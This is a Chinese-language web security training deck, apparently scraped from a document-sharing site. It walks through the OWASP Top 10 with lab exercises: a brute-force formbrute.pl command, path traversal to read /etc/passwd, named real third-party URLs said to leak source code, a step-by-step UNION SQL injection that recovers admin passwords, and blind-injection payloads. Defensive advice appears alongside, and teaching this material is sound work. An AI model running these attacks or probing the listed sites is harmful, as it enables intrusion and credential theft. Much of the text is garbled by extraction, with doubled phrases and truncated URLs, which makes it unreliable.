Web應用安全培訓教程_第1頁
Web應用安全培訓教程_第2頁
Web應用安全培訓教程_第3頁
Web應用安全培訓教程_第4頁
Web應用安全培訓教程_第5頁
已閱讀5頁,還剩165頁未讀 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

1、1Web應用安全應用安全張曉峰張曉峰2015-102目錄目錄 Web Web對象直接引用對象直接引用二二三三四四 惡意代碼執(zhí)行惡意代碼執(zhí)行一一 背景背景 注入攻擊注入攻擊五五 跨站腳本攻擊跨站腳本攻擊六六 Google Hack Google Hack OWASP OWASP漏洞攻防漏洞攻防七七3WebWeb來源于來源于World Wide WebWorld Wide Web,WebWeb系統(tǒng)是系統(tǒng)是InternetInternet的重要組成部分,的重要組成部分,形形色色的形形色色的WebWeb系統(tǒng)正在改變著我們的生活:系統(tǒng)正在改變著我們的生活:網上購物網上匯款交費寫博客Web小游戲競選網上營

2、業(yè)廳Web豐富了我們的生活豐富了我們的生活4作為一種新型的市場渠道,網上營業(yè)廳能夠為用戶提供方便快捷的服務,能夠作為一種新型的市場渠道,網上營業(yè)廳能夠為用戶提供方便快捷的服務,能夠降低實體店鋪的成本,因此在各大運營商市場戰(zhàn)略中占有重要的位置。近年以降低實體店鋪的成本,因此在各大運營商市場戰(zhàn)略中占有重要的位置。近年以來,網上營業(yè)廳的安全問題越來越受到大眾的關注,主要可以劃分成來,網上營業(yè)廳的安全問題越來越受到大眾的關注,主要可以劃分成4 4個方面:個方面:Web安全的意義安全的意義工信部工信部網上營業(yè)廳如果被不法分子攻陷,那么可能以此為跳板進入網上營業(yè)廳如果被不法分子攻陷,那么可能以此為跳板進入

3、運營商的支撐網甚至核心網絡,造成大面積通訊故障。運營商的支撐網甚至核心網絡,造成大面積通訊故障。 普通用戶普通用戶網上到處叫賣的個人通話詳單查詢服務已經對老百姓的隱私網上到處叫賣的個人通話詳單查詢服務已經對老百姓的隱私造成了極大的破壞。移動集團一直就很重視客戶信息保密的造成了極大的破壞。移動集團一直就很重視客戶信息保密的問題。問題。 運營商運營商網上營業(yè)廳代表了企業(yè)對外的形象,每天訪問用戶數以萬計,網上營業(yè)廳代表了企業(yè)對外的形象,每天訪問用戶數以萬計,如果出現(xiàn)頁面篡改、甚至網頁掛馬事件,對企業(yè)形象是巨大如果出現(xiàn)頁面篡改、甚至網頁掛馬事件,對企業(yè)形象是巨大損失。損失。 運營商運營商網上營業(yè)廳涉及

4、充值交費等交易業(yè)務,容易吸引不法分子的網上營業(yè)廳涉及充值交費等交易業(yè)務,容易吸引不法分子的眼球。如果利用安全漏洞造成交易欺詐,損害企業(yè)的經濟利眼球。如果利用安全漏洞造成交易欺詐,損害企業(yè)的經濟利益。益。 5WebWeb系統(tǒng)逐漸成為企業(yè)安全邊界之一系統(tǒng)逐漸成為企業(yè)安全邊界之一防火墻加固OSWeb服務器應用服務器防火墻數據庫歷史遺留系統(tǒng)Web Services文件目錄人力系統(tǒng)計費系統(tǒng)定制的應用程序應用層應用層攻擊僅僅使用網絡層的防護手段僅僅使用網絡層的防護手段 ( (防火墻防火墻, SSL, IDS, , SSL, IDS, 加固加固) ) 無法阻止或檢測到應用層攻擊無法阻止或檢測到應用層攻擊網絡

5、層應用層應用層作為安全邊界的一部分,或許應用層作為安全邊界的一部分,或許有巨大的漏洞有巨大的漏洞6而而WebWeb系統(tǒng)的安全性參差不齊系統(tǒng)的安全性參差不齊復雜應用系統(tǒng)代碼量大、開發(fā)人員多、難免出現(xiàn)疏忽;系統(tǒng)屢次升級、人員頻繁變更,導致代碼不一致;歷史遺留系統(tǒng)、試運行系統(tǒng)等多個Web系統(tǒng)共同運行于同一臺服務器上;開發(fā)人員未經過安全編碼培訓;定制開發(fā)系統(tǒng)的測試程度不如標準的產品;客戶滿意界面友好操作方便處理性能實現(xiàn)所有功能架構合理代碼修改方便運行穩(wěn)定沒有bug不同模塊低耦合相對安全性而言,相對安全性而言,開發(fā)人員更注重開發(fā)人員更注重系統(tǒng)功能!系統(tǒng)功能!開發(fā)進度與成本開發(fā)者的關注點開發(fā)者的關注點7定

6、制開發(fā)的定制開發(fā)的WebWeb應用應用 = = 企業(yè)安全的阿基里斯之踵企業(yè)安全的阿基里斯之踵 “目前,目前,75% 的攻擊發(fā)生在應用層的攻擊發(fā)生在應用層” Gartner, 2006“2006年前年前9個月內新發(fā)現(xiàn)個月內新發(fā)現(xiàn)4,375 個漏洞個漏洞. Web漏洞是其中漏洞是其中最普遍的三類之一最普遍的三類之一.” Mitre Corp, 09/2006,CVE的維護者“產品的定制開發(fā)是應用安全中最薄弱的一環(huán)產品的定制開發(fā)是應用安全中最薄弱的一環(huán)”. Gartner, 09/2005“到到2009年年, 80%的企業(yè)都將成為應用層攻擊的受害的企業(yè)都將成為應用層攻擊的受害者者”. Gartner

7、, 20078WebWeb攻擊場景攻擊場景攻擊動機攻擊動機攻擊方法攻擊方法攻擊工具攻擊工具系統(tǒng)漏洞系統(tǒng)漏洞防范措施防范措施攻擊面(attack surface)Web服務器黑客9Web攻擊動機攻擊動機常見常見WebWeb攻擊動機攻擊動機 惡作劇; 關閉Web站點,拒絕正常服務; 篡改Web網頁,損害企業(yè)名譽; 免費瀏覽收費內容; 盜竊用戶隱私信息,例如Email; 以用戶身份登錄執(zhí)行非法操作,從而獲取暴利; 以此為跳板攻擊企業(yè)內網其他系統(tǒng); 網頁掛木馬,攻擊訪問網頁的特定用戶群; 仿冒系統(tǒng)發(fā)布方,誘騙用戶執(zhí)行危險操作,例如用木馬替換正常下載文件,要求用戶匯款等; 常用的掛馬常用的掛馬explo

8、itMS07-017 MS Windows Animated Cursor (.ANI) Remote ExploitMS07-019MS07-004 VML Remote Code ExecutionMS06-073MS06-071 XML Core Services Remote Code ExecutionMS06-068MS06-067MS06-057 WebViewFolderIcod ActiveXMS06-055MS06-014 MDAC Remote Code ExecutionMS06-013MS06-005MS06-004MS06-00110Web攻擊方法攻擊方法常見常見W

9、ebWeb攻擊方法攻擊方法 Google hack 網頁爬行 暴力猜解 Web漏洞掃描 錯誤信息利用 根據服務器版本尋找現(xiàn)有的攻擊代碼 利用服務器配置漏洞 文件上傳下載 構造惡意輸入(SQL注入攻擊、命令注入攻擊、跨站腳本攻擊) HTTP協(xié)議攻擊 拒絕服務攻擊 其他攻擊點利用(Web Services, Flash, Ajax, ActiveX, JavaApplet) 業(yè)務邏輯測試 收集系統(tǒng)相關的通用信息 將系統(tǒng)所有能訪問頁面,所有的資源,路徑展現(xiàn)出來 URL、口令、數據庫字段、文件名都可以暴力猜解,注意利用工具; 利用Web漏洞掃描器,可以盡快發(fā)現(xiàn)一些明顯的問題 錯誤可能泄露服務器型號版本

10、、數據庫型號、路徑、代碼; 搜索Google,CVE, BugTraq等漏洞庫是否有相關的漏洞 服務器后臺管理頁面,路徑是否可以列表等 是否可以上傳惡意代碼?是否可以任意下載系統(tǒng)文件? 檢查所有可以輸入的地方:URL、參數、Post、Cookie、Referer、 Agent、系統(tǒng)是否進行了嚴格的校驗? HTTP協(xié)議是文本協(xié)議,可利用回車換行做邊界干擾 用戶輸入是否可以影響服務器的執(zhí)行? 需要特殊工具才能利用這些攻擊點 復雜的業(yè)務邏輯中是否隱藏漏洞?11Web攻擊工具:攻擊工具:WebScarab特色:HTTP協(xié)議完全可見(可以完全操作所有的攻擊點)支持HTTPS (包括客戶端證書)全程數據與

11、狀態(tài)記錄,可隨時回顧 OWASP=Open Web Application Security Project,OWASP是最權威的Web應用安全開源合作組織,其網站上有大量的Web應用安全工具與資料。Nokia是其成員之一WebScarab是OWASP組織推出的開源工具,可應用于一切基于HTTP協(xié)議系統(tǒng)的調試與攻擊;12訪問資源名稱GET與POST參數Referer與User AgentHTTP 方法CookieAjaxWeb ServiceFlash客戶端Java AppletWeb攻擊面:不僅僅是瀏覽器中可見的內容攻擊面:不僅僅是瀏覽器中可見的內容PO

12、ST /thepage.jsp?var1=page1.html HTTP/1.1Accept: */*Referer: http:/ en-us,de;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-url-encodedContent-Lenght: 59User-Agent: Mozilla/4.0Host: Connection: Keep-AliveCookie: JSESSIONID=0000dITLGLqhz1dKkPEtpoYqbN2uid=fred&password=secret&pagest

13、yle=default.css&action=login直接可在瀏覽器直接可在瀏覽器中利用的輸入中利用的輸入所有輸入點所有輸入點更多輸入點更多輸入點黑客實際利用的黑客實際利用的輸入點輸入點13Web攻擊漏洞:安全漏洞庫攻擊漏洞:安全漏洞庫Securityfocus網站的漏洞庫名稱為Bugtraq,它給每個漏洞編號叫Bugtraq ID。它的網址為:http:/ Cve是和Bugtraq齊名的漏洞庫,它給漏洞庫編號叫CVE ID,它的網址為:/。 CVE與Bugtraq漏洞庫都會對確認的漏洞進行統(tǒng)一編號,其編號是業(yè)界承認的統(tǒng)一標準,有助于避免混淆。在這些漏洞

14、庫中都可以查到大量的Web應用漏洞。14Web攻擊漏洞:攻擊漏洞:2007 OWASP Top 102007年3月, OWASP對最新的Web應用漏洞按類別進行排名,并將前十名的脆弱性類別編制成冊。/index.php/OWASP_Top_Ten_Project其中前5名與SANS定期更新的Top20榜中Web應用脆弱性前5名基本一致。/top20跨站腳本注入惡意代碼引用不當CSRF152007 OWASP Top 10:第一名第四名:第一名第四名No.No.漏洞名稱漏洞名稱簡介簡介舉例舉例A1跨站腳本Cross Sit

15、e Scripting,簡稱為XSS如果Web應用沒有對攻擊者的輸入進行適當的編碼和過濾,就轉發(fā)給其他用戶的瀏覽器時,可能導致XSS漏洞。攻擊者可利用XSS在其他用戶的瀏覽器中運行惡意腳本,偷竊用戶的會話,或是偷偷模擬用戶執(zhí)行非法的操作;發(fā)帖子,發(fā)消息A2注入Injection Flaws如果Web應用沒有對攻擊者的輸入進行適當的編碼和過濾,就用于構造數據庫查詢或操作系統(tǒng)命令時,可能導致注入漏洞。攻擊者可利用注入漏洞誘使Web應用執(zhí)行未預見的命令(即命令注入攻擊)或數據庫查詢(即SQL注入攻擊)。搜索用戶A3惡意代碼執(zhí)行Malicious File Execution如果Web應用允許用戶上傳

16、文件,但對上傳文件名未作適當的過濾時,用戶可能上載惡意的腳本文件(通常是Web服務器支持的格式,如ASP,PHP等);腳本文件在Include子文件時,如果Include路徑可以被用戶輸入影響,那么可能造成實際包含的是黑客指定的惡意代碼;上述兩種情況是造成惡意代碼執(zhí)行的最常見原因。上傳附件,上傳頭像A4對象直接引用Insecure Direct Object Reference訪問內部資源時,如果訪問的路徑(對文件而言是路徑,對數據庫而言是主鍵)可被攻擊者篡改,而系統(tǒng)未作權限控制與檢查的話,可能導致攻擊者利用此訪問其他未預見的資源;下載文件162007 OWASP Top 10:第五名第十名:

17、第五名第十名No.No.漏洞名稱漏洞名稱簡介簡介舉例舉例A5 跨站請求偽造Cross Site Request Forgery,簡稱為CSRFCSRF攻擊即攻擊者在用戶未察覺的情況下,迫使用戶的瀏覽器發(fā)起未預見的請求,其結果往往損害用戶本身的利益。CSRF攻擊大多利用Web應用的XSS漏洞,也有很多CSRF攻擊沒有利用XSS而是利用了HTML標簽的特性。不明郵件中隱藏的html鏈接A6 信息泄露與錯誤處理不當Information Leakage and Improper Error HandlingWeb應用可能不經意地泄露其配置、服務器版本、數據庫查詢語句、部署路徑等信息,或是泄露用戶的隱

18、私。攻擊者可利用這些弱點盜竊敏感信息。錯誤信息揭示路徑A7 認證與會話管理不當Broken Authentication and Session Management如果Web應用的認證與會話處理不當,可能被攻擊者利用來偽裝其他用戶身份A8 存儲不安全Insecure Cryptographic Storge如果Web應用沒有正確加密存儲敏感信息,可能被攻擊者盜取。例如攻擊者可能通過SQL注入手段獲取其他用戶的密碼,如果Web應用對密碼進行了加密,就可以降低此類威脅。A9 通訊加密不安全Insecure Communication如果Web應用沒有對網絡通訊中包含的敏感信息進行加密,可能被竊聽

19、A10 URL訪問控制不當Failure to Restrict URL Access如果Web應用對URL訪問控制不當,可能造成用戶直接在瀏覽器中輸入URL,訪問不該訪問的頁面17OWASP TOP 10,您打算從哪里開始?,您打算從哪里開始?2345678910118目錄目錄 Web Web對象直接引用對象直接引用二二三三四四 惡意代碼執(zhí)行惡意代碼執(zhí)行一一 背景背景 注入攻擊注入攻擊五五 跨站腳本攻擊跨站腳本攻擊六六 Google Hack Google Hack OWASP OWASP漏洞攻防漏洞攻防七七192007 OWASP 第第10名:名:URL訪問控制不當訪問控制不當舉例:有的W

20、eb應用對頁面權限控制不嚴,原因是缺乏統(tǒng)一規(guī)范的權限控制框架,導致部分頁面可以直接從URL中訪問,繞開登錄認證。防范措施:統(tǒng)一規(guī)范權限控制。A10 URL訪問控制不當Failure to Restrict URL Access如果Web應用對URL訪問控制不當,可能造成用戶直接在瀏覽器中輸入URL,訪問不該訪問的頁面202007 OWASP 第第9名名舉例:網絡竊聽(Sniffer)可以捕獲網絡中流過的敏感信息,如密碼,Cookie字段等。高級竊聽者還可以進行ARP Spoof,中間人攻擊。防范措施:通訊加密。A9 通訊加密不安全Insecure Communication如果Web應用沒有對

21、網絡通訊中包含的敏感信息進行加密,可能被竊聽Host AHost BRouter A Router B 212007 OWASP 第第8名名舉例:很多Web應用將用戶口令以明文的方式保存,一旦黑客能夠通過其他漏洞獲取這些口令,就可以偽造他人身份登錄,包括系統(tǒng)管理員。建議:采用安全的算法加密保存口令。下面將舉一個實例說明A8 存儲不安全Insecure Cryptographic Storge如果Web應用沒有正確加密存儲敏感信息,可能被攻擊者盜取。例如攻擊者可能通過SQL注入手段獲取其他用戶的密碼,如果Web應用對密碼進行了加密,就可以降低此類威脅。222007 OWASP 第第8名:名:Ca

22、se vBulletinvBulletin 以MD5方式保存用戶口令,然而其2.3.0版本存在一個SQL注入漏洞,可以通過此漏洞查詢管理員密碼的MD5值;Step 1:通過Google搜索vBulletin 2.3.0的特征,發(fā)現(xiàn)965.000項符合。這是這是Google Hack,后面會專門介紹后面會專門介紹232007 OWASP 第第8名:名:Case vBulletinStep 2:檢查漏洞頁面calendar.php能否訪問。Step 3:由于該攻擊利用了Union,要求MySQL版本高于4.0,因此通過下面的鏈接檢查其MySQL版本是否高于4.0。 http:/ OWASP 第第8

23、名:名:Case vBulletinStep 4:注冊一個用戶,在首頁查看自己的ID。252007 OWASP 第第8名:名:Case vBulletinStep 5:通過下面的鏈接實現(xiàn)SQL注入攻擊:http:/ OWASP 第第8名:名:Case vBulletinStep 6:訪問http:/,輸入MD5值反查密碼為811028?,F(xiàn)在很多Web應用已經開始用MD5算法保存用戶密碼,然而直接進行MD5并非安全算法。右圖的Rainbow表就可以用于反查MD5值。Rainbow表利用了Hellman的存儲-時間權衡算法,通過設計一個大數據量的表來提高反查效率。27防范措施:防范措施:SALT學

24、習Unix操作系統(tǒng)采用Salt技術來防范rainbow表攻擊。Password隨機隨機SaltMD5Base64隨機隨機salt+Shadow文件中保存的內容文件中保存的內容Unix在保存用戶口令時,會隨機生成一個12字節(jié)的字符串作為salt,然后把salt與口令一起計算MD5,并將salt與結果保存在etc/shadow中。驗證時將salt與用戶輸入口令結合計算MD5并與存儲的結果比對。282007 OWASP 第第7名名舉例:有的Web應用登錄界面允許攻擊者暴力猜解口令,在自動工具與字典表的幫助下,可以迅速找到弱密碼用戶。A7 認證與會話管理不當Broken Authentication

25、and Session Management如果Web應用的認證與會話處理不當,可能被攻擊者利用來偽裝其他用戶身份防范措施:圖片認證碼,雙因素認證29實驗環(huán)境搭建實驗環(huán)境搭建采用VMware 5.0,虛擬兩臺主機,構造一個虛擬局域網Window 2000 Server模擬Web服務器IP:Window 2000 Professional已安裝實驗所需的攻擊工具,模擬黑客機IP:本地機模擬普通用戶IP:302007 OWASP 第第7名:名:Case Brute我們將利用一個簡單的Perl腳本對目標進行字典攻擊;首先設

26、定Perl運行環(huán)境,將bin目錄添加到系統(tǒng)PATH中:學員練習學員練習10Min312007 OWASP 第第7名:名:Case Brute運行perl formbrute.pl,顯示其命令參數如下:usage: formbrute.pl -U url:網址-m method ( GET|POST ):GET還是POST-u usernameFile:用戶名字典文件-p passwordFile:密碼字典文件-l loginVariable:Form中用戶名的變量名稱-w passVariable:Form中密碼的變量名稱-o otherVariables ( ie: submit=true&

27、login=yes ):其他變量-v proxyServer:代理-f failureString:失敗后返回標記-s saveFilename:輸出文件名-h request-headers( ie: Referer:abc&Cookie:ng=omo ):其他HTTP頭數據學員練習學員練習10Min322007 OWASP 第第7名:名:Case Brute啟動WebScarab,開啟抓包功能。同時在IE中設置代理:學員練習學員練習10Min332007 OWASP 第第7名:名:Case Brute在登錄頁面輸入用戶名aaa,密碼bbb,點擊登錄,WebScarab抓到IE發(fā)起的請求如下

28、:POST :80/bbs/Default.asp HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*Referer: /bbs/Accept-Language: zh-cnContent-Type: applic

29、ation/x-www-form-urlencodedAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)Host: Content-length: 77Proxy-Connection: Keep-AlivePragma: no-cacheCookie: Snitz00User=; ASPSESSIONIDQCSDTQDT=CFPLNNDAGPEJLCMAJGKGCECA; iscooki

30、es=0; BoardList=BoardID=Show; upNum=0Method_Type=login&Name=aaa&Password=bbb&SavePassWord=true&submit1.x=34&submit1.y=17學員練習學員練習10Min342007 OWASP 第第7名:名:Case Brute由于輸入的是錯誤的密碼,頁面提示:你的用戶名或者密碼是錯誤的.請重新輸入或者注冊成為新會員.我們把“錯誤”當成登錄失敗的標志,用formbrute發(fā)起如下命令:perl formbrute.pl -U /bbs/Default.asp

31、-m POST -u UserList.txt -p PasswordList.txt -l Name -w Password -o Method_Type=login&SavePassWord=true&submit1.x=34&submit1.y=17 -f 錯誤 -s result.txt學員練習學員練習10Min352007 OWASP 第第7名:名:Case Brute結果輸出在result.txt中:尋找到admin:admin以及test:test兩個合法登錄!學員練習學員練習10Min362007 OWASP 第第7名:名:Case Brute題外話:Formbrute代碼非常

32、簡短,稍加修改就可以完成更多的任務,例如:猜解后臺管理入口;猜解數據庫字段名;自動測試手工測試372007 OWASP 第第6名名舉例:錯誤頁面往往泄露系統(tǒng)內部敏感信息防范措施: 在所有的運行代碼中進行規(guī)范的異常處理。 已處理的異常和未處理的異常應該始終將提供的可能有助于黑客攻擊的信息減到最少。例如在登錄系統(tǒng)時,不論是用戶名不存在還是密碼錯誤都應該提示相同的錯誤信息。A6 信息泄露與錯誤處理不當Information Leakage and Improper Error HandlingWeb應用可能不經意地泄露其配置、服務器版本、數據庫查詢語句、部署路徑等信息,或是泄露用戶的隱私。攻擊者可利

33、用這些弱點盜竊敏感信息。382007 OWASP 第第6名:名:Case 1泄露服務器Tomcat版本392007 OWASP 第第6名:名: Case 2泄露數據庫查詢語句;泄露數據庫為Oracle;402007 OWASP 第第6名:名: Case 3泄露數據庫為Microsoft SQL Server412007 OWASP 第第6名:名: Case 4泄露數據庫為MySQL422007 OWASP 第第6名:名: Case 5泄露服務器目錄432007 OWASP 第第6名:名: IE設置設置1有的時候您看到的是如下的頁面:442007 OWASP 第第6名:名: IE設置設置2原因是

34、IE顯示給用戶的是友好的HTTP錯誤,所以需要去掉下面選項的勾:452007 OWASP 第第6名:名: IE設置設置3重啟IE后,顯示更多的技術細節(jié):46總結總結前面簡介OWASP漏洞排名第10名到第6名的漏洞攻防;接下來將詳細介紹第5名到第1名;我們把XSS與CSRF合并在一起介紹,順序如下:Insecure Direct Object Reference:直接對象引用Malicious File Execution:惡意代碼Injection:注入XSS and CSRF:跨站腳本與跨站請求偽造47目錄目錄 Web Web對象直接引用對象直接引用二二三三四四 惡意代碼執(zhí)行惡意代碼執(zhí)行一一

35、 背景背景 注入攻擊注入攻擊五五 跨站腳本攻擊跨站腳本攻擊六六 Google Hack Google Hack OWASP OWASP漏洞攻防漏洞攻防七七48對象直接引用對象直接引用 一一A4對象直接引用Insecure Direct Object Reference訪問內部資源時,如果訪問的路徑(對文件而言是路徑,對數據庫而言是主鍵)可被攻擊者篡改,而系統(tǒng)未作權限控制與檢查的話,可能導致攻擊者利用此訪問其他未預見的資源;下載文件目標:獲取服務器的etc/passwd文件方法:Web服務器一般缺省不允許攻擊者訪問Web根目錄以外的內容。但是對Web應用卻不做限制,因此操作系統(tǒng)Web應用Web服

36、務器我想看etc/passwdAccess Denied!我想看etc/passwdOK!我想看etc/passwdOK!49對象直接引用對象直接引用Step 1. 訪問http:/traffic-,這是一個網頁瀏覽統(tǒng)計系統(tǒng),點擊Get stats!鏈接50對象直接引用對象直接引用Step 2.右鍵點擊中間的圖片,查看其鏈接屬性:51對象直接引用對象直接引用Step 4.您是否觀察到其中file是作為plotStat.php的一個參數傳入,那么我們用file指向其他敏感文件試試看:52對象直接引用對象直接引用Step 5. 構造參數/./././././././././etc/passwd拿到

37、etc/passwd!53對象直接引用對象直接引用Step 6. 進一步的攻擊,Google搜索 inurl:download.jsp?file=:54對象直接引用對象直接引用下面這些鏈接都可以直接下載網站的源代碼1. http:/www.swscreen.co.uk/download.asp?path=/./download.asp2. http:/webhelp.swu.ac.th/download.asp?file=download.asp3. http:/ 21:8080/haiyou/upload/download.jsp?file=index.jsp

38、55其他資源類型其他資源類型例如某Web應用允許用戶查詢自己賬號的余額信息,其鏈接如下:http:/./history.jsp?userid=?有心的用戶可能填寫其他用戶的id再訪問,如果開發(fā)者在服務器端沒有進行權限控制,判斷此id是否能被當前會話的用戶訪問,就可能泄露其他用戶的隱私信息。復雜的系統(tǒng)存在大量的相互引用訪問,如果開發(fā)者不能有效地進行權限控制,就可能被惡意引用。56真實的故事真實的故事Google-Docs用戶可以偷竊所有其他用戶的文檔!在google-docs上有個鏈接可以將您的文檔發(fā)送給合作者。GET /Dialogs/EmailDocument?DocID= HTTP/1.1

39、 然而,google卻沒有檢查參數中的DOCID是否屬于您。所以,您可以猜測他人文檔的ID并利用這個鏈接讓google把文檔郵給您。http:/xs- File Inclusion(簡稱RFI/LFI)漏洞就是因為系統(tǒng)在包含腳本文件時,包含的路徑可被黑客篡改。2007年9月26日16:00點在http:/ FrontAccounting 1.13 Remote File Inclusion Vulnerabilities2007-09-24 sk.log = 0.5.3 (skin_url) Remote File Inclusion Vulnerability2007-09-24 DFD C

40、art 1.1 Multiple Remote File Inclusion Vulnerabilities2007-09-23 phpFullAnnu (PFA) 6.0 Remote SQL Injection Vulnerability2007-09-23 helplink 0.1.0 (show.php file) Remote File Inclusion Vulnerability2007-09-23 PHP-Nuke addon Nuke Mobile Entartainment LFI Vulnerability2007-09-23 Wordsmith 1.1b (config

41、.inc.php _path) Remote File Inclusion Vuln2007-09-22 Black Lily 2007 (products.php class) Remote SQL Injection Vulnerability2007-09-22 Clansphere 2007.4 (cat_id) Remote SQL Injection Vulnerability2007-09-21 CMS Made Simple 1.2 Remote Code Execution Vulnerability2007-09-21 iziContents 20程序員未預料到的結果程序員

42、未預料到的結果age: 1000000 union select name, age, password from usersSELECT name, age, locationFROM Users WHERE age999 union select name, age, password from usersFactFact:大多數程序員都注意到了的問題,他們用來代替用戶輸入的,從而防止字符串SQL注入;但很多人缺忽略了同樣嚴重的數字注入問題。其防范方法是檢查用戶輸入的數字是否合法。Union暴庫是常見的注入方法Union語法要求前后兩句SQL中Select的數據項類型和數量一致;這兩句sq

43、l都符合string,int,string的模式999是不可能符合的條件,這樣union的結果就只剩第二句sql查詢的內容76打開培訓示范論壇,不用登錄,直接查看用戶屬性SQL Injection:Case學員練習學員練習20Min77一個簡單的測試顯示這里可能存在注入漏洞。從錯誤看出是MS SQL Server。從鏈接的形式id=?來看應該可能是數字型。因此報錯是必然的。從報錯來看,程序員把替換成了SQL Injection:Step 1學員練習學員練習20Min78用試驗,發(fā)現(xiàn)出來了一部分數據,test用戶名及其email地址,這證明至少有一條SQL正確運行。但是依然有SQL報錯,很可能是

44、后臺有兩條SQL語句都分別用到了id變量,而兩語句使用的環(huán)境不同。SQL Injection:Step 2學員練習學員練習20Min79實際情況是第一條SQL是where id=? ,第二條SQL是where (xx=xx) and (id=?)。因此要第二條不錯,id只能用2)-,但這樣第一條又會出錯,難以兩全。從錯誤行號來看,第一句SQL位于84行,第二句SQL位于207行。SQL Injection:Step 3學員練習學員練習20Min80對于Select查詢,幾乎都可以用Union查詢來暴庫。Union要求前后兩句對應的數據項數量相同,類型一致,因此需要首先檢查第一句SQL的數據項數

45、量。方法是用order by n,逐步增加n。SQL Injection:Step 4學員練習學員練習20Min81N=30正常,N=31錯誤!因此第一句SQL有30項。SQL Injection:Step 5學員練習學員練習20Min82由于union還要求類型一致,30項要逐個猜測類型是不現(xiàn)實的,因此用通配符null! 準備30個null。提示這個錯誤的原因說明前一句sql中有image類型,而union缺省是distinct的,要解決這個問題,使用union all即可。SQL Injection:Step 6學員練習學員練習20Min83使用Union All后,終于又看到了test的

46、信息。SQL Injection:Step 7學員練習學員練習20Min84調整union第一句的條件為“不可能滿足”,這樣顯示出來的始終是第二句,即使為nullSQL Injection:Step 8學員練習學員練習20Min這兩個位置顯示的是30項null中的某兩個。因此可以利用這里來回顯信息!85需要找到這兩個數據位于30個null中的何處。首先試驗把第二個null換成字符型的null。錯誤提示不是告訴類型不匹配,而是說有語法錯誤。從而再次確認:開發(fā)者用替換了。SQL Injection:Step 9學員練習學員練習20Min86要寫出不帶的sql語句并不困難。如果您對SQL語法熟悉的話

47、,就知道有一個char函數可供利用。SQL Injection:Step 10學員練習學員練習20Min64是的ASCII碼數值,10進制。成功回顯87SQL Injection:Step 11學員練習學員練習20Min第二個null位置回顯于此處試出兩個回顯點的位置:第四個null位置回顯于此處88SQL Injection:Step 12學員練習學員練習20Min把后面的sql替換成select null,password,null,.,null from users的形式,希望能顯示一個密碼,但是失敗了。系統(tǒng)不存在users表。再猜測幾個表發(fā)現(xiàn)依然失敗。看來僅僅靠猜測是不行的。89不同的

48、數據庫都有系統(tǒng)表,可以利用來枚舉表結構不同的數據庫都有系統(tǒng)表,可以利用來枚舉表結構在不同的DBMS枚舉表結構MS SQLSELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 表名 )sp_columns tablename (這個存儲過程可以列舉表的字段名)MySQLshow columns from tablenameOracleSELECT * FROM all_tab_columnsWHERE table_name=表名90數據庫系統(tǒng)表數據庫系統(tǒng)表OracleSYS.USER_OBJE

49、CTSSYS.TABSYS.USER_TEBLESSYS.USER_VIEWSSYS.ALL_TABLESSYS.USER_TAB_COLUMNSSYS.USER_CATALOGMySQLmysql.usermysql.hostmysql.dbMS AccessMsysACEsMsysObjectsMsysQueriesMsysRelationshipsMS SQL Serversysobjectssyscolumnssystypessysdatabases91SQL Injection:Step 13學員練習學員練習20Min查詢一下是否有列名為pass(word)的表,首先簡單測試一下:S

50、elect name from syscolumns where name like %p%結果提示錯誤!原因:服務器自動進行URL解碼。除了把%20轉化為空格外,還會把+轉化為空格。因此數據庫查詢變成了 like % p %92SQL Injection:Step 14學員練習學員練習20Min解決辦法:用+的URL編碼后的形式%2B,服務器解碼后就成了+。結果如下:有一列為parent_obj符合條件93SQL Injection:Step 15學員練習學員練習20Min下面的查詢列出所有含有類似pass列的表名和列名:Select , syscolumns.

51、name from syscolumns, sysobjects where like %pass% and sysobject.type=U and sysobject.id=syscolumns.id系統(tǒng)中有一個FORUM_FORUM表,含有一列F_PASSWORD_NEW94SQL Injection:Step 16學員練習學員練習20Min但是我們對Forum_Forum這個表不感興趣,所以查一下結果數目。使用count(*)查詢結果為2;95SQL Injection:Step 17學員練習學員練習20Min因此對后一句使用order by 2 des

52、c(可以反復多試一下不同的排序方式)直到最后顯示出表名FORUM_MEMBERS中含有M_PASSWORD列;96SQL Injection:Case學員練習學員練習20Min猜測還有M_NAME一列。最后查詢出系統(tǒng)含有admin用戶,其口令為admin。97充分利用系統(tǒng)的錯誤提示信息;充分利用union查詢,這種方式幾乎適合于所有的數據庫類型,是最為普遍的一種暴庫方法;union時首先利用order by檢查數據項,再用null做通配滿足數據類型一致,注意使用union all;充分利用系統(tǒng)回顯,如果回顯只能顯示一項數據,那么對union之前的查詢設置“不能滿足的條件”,對union之后的語

53、句采用order by調整顯示的順序;結合系統(tǒng)表枚舉表結構;注意利用特殊方法來繞開系統(tǒng)的過濾,如char()繞開對的過濾;注意“加號”的URL編碼;注意考慮程序員的習慣,例如asp里程序員一般都會把用代替,但是有時候會忽略數字項的注入漏洞。例如根據列名M_PASSWORD可以猜測出還有一列名為M_NAME總結總結98盲注入(Blind Injection):如果系統(tǒng)屏蔽了詳細的錯誤信息,那么對攻擊者而言就是盲注入。盲注入并非是全盲,可以充分利用系統(tǒng)的回顯空間;例如前面的實例,對于有經驗的攻擊者,完全可以拋開那些錯誤信息直接注入。如果連回顯也沒有(比如Mysql 4.0版本以下不支持UNION查

54、詢),那么就要利用在正確與錯誤之間,依然可以獲取的1Bit的信息量;如果看不到具體的錯誤信息:盲注入如果看不到具體的錯誤信息:盲注入99and exists (select * from admin where id=1 and len(name)5),返回正常說明長度大于5,and exists (select * from admin where id=1 and len(name)7),返回錯誤說明長度小于7,and exists (select * from admin where id=1 and mid(password,1,1)=a) , 返回正常說明密碼第一個字符是英文(0=4

55、8,a=65,A=97),and exists (select * from admin where id=1 and mid(password,1,1)=z) ,返回正常說明密碼第一個字符是小寫英文(0=48,a=65,A=97),and exists (select * from admin where id=1 and mid(password,1,1)=m ,返回錯誤說明密碼第一個字符在n到z之間,最好用工具,例如前面提到的最好用工具,例如前面提到的Formbrute;要利用數據庫字符串處理函數如要利用數據庫字符串處理函數如mid, len, left等等,不同數據庫有差異,等等,不同

